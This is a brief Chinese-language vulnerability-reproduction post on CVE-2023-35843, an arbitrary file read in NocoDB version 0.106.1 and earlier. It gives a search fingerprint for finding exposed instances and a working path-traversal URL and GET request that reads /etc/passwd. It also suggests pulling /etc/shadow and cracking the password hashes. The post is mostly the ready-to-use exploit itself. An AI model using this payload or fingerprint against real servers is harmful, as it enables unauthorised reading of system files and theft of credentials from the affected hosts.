【漏洞复现】NocoDB任意文件读取 CVE-2023-35843

漏洞描述

NocoDB 是 Airtable 的开源替代方案，可以“一键”将 MySQL、PostgreSQL、SQL Server、SQLite 和 MariaDB 转换为智能电子表格。此软件存在任意文件读取漏洞。 可通过读取/etc/shadow读取到加密后的用户名密码，解密后进行后续测试工作。

影响版本

version<=0.106.1  

搜索语句

icon_hash="-2017596142"  

漏洞详情

http://localhost:port/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
GET /download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1